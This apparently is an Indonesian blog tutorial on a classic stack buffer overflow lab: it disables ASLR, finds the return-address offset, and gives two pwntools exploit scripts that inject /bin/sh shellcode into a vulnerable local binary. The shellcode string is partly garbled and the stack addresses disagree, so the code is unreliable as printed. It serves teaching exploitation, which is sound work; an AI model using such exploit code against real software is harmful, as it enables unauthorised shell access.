Topik kali ini masih mengenai buffer overflow, setelah pada artikel sebelumnya mengenal control eip dengan memanfaatkan buffer overflow sehingga bisa mengubah alur program. Pada artikel kali ini, saya akan mencoba untuk menjelaskan buffer overflow yang dilarikan kepada shellcode yang dimasukkan ke dalam buffer.
Bahan yang digunakan pada artikel kali ini, diambil dari https://github.com/nnamon/linux-exploitation-course, menurut saya ini merupakan salah satu bahan belajar yang bagus untuk pemula seperti saya dalam mengenal linux exploitation.
Classic Exploitation Technique
[source]
Jika dilihat pada function vuln() terdapat variable buffer sebesar 16, kemudian pada function read(), jumlah byte yang dibaca sebesar 100. function read ini yang nantinya akan dicoba untuk dieksploitasi.
Sebelumnya, pastikan ASLR dalam keadaan off:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Langkah yang pertama dilakukan adalah pencarian besar byte yang dibutuhkan untuk menimpa return address.
Dari hasil pencarian menggunakan gdb, didapat angka 28.
Perhatikan pada input kedua yang telah dimodifikasi dari hasil yang telah didapat pada langkah sebelumnya. 0x42424242 (BBBB) merupakan posisi return address yang akan di overwrite. Pertanyaan selanjutnya, dimana kita akan meletakkan shellcode pada buffer?
Pada kasus ini, shellcode diletakkan setelah return address, karena ukuran buffer yang cukup kecil (16 byte) + 12 byte sebelum return address. Sementara besar shellcode pada artikel tersebut sekitar 45 byte.
alamat buffer pada stack adalah 0xffffd280
Maka kalkulasi alamat setelah 0x42424242 adalah 0xffffd280 + 28 + 4
Berikut ini adalah kode lengkapnya.
from pwn import * def main(): p = process('../Downloads/1_vulnerable') print str(p.proc.pid) ret = 0xffffd2a0 + 28 + 4 payload = "A" * 28 + p32(ret) shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46$ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40$ "\x80\xe8\xdc\xff\xff\xff/bin/sh") padding = "\x90" * (40-len(payload)-len(shellcode)) payload = payload + padding + shellcode p.send(payload) p.interactive() if __name__ == "__main__": main()
# Menggunakan shellcode pwntools from pwn import * def main(): p = process('../Downloads/1_vulnerable') print str(p.proc.pid) ret = 0xffffd2a0 + 28 + 4 payload = "A" * 28 + p32(ret) shellcode = asm(shellcraft.sh()) padding = "\x90" * (40-len(payload)-len(shellcode)) payload = payload + padding + shellcode p.send(payload) p.interactive() if __name__ == "__main__": main()
Running
No comments:
Post a Comment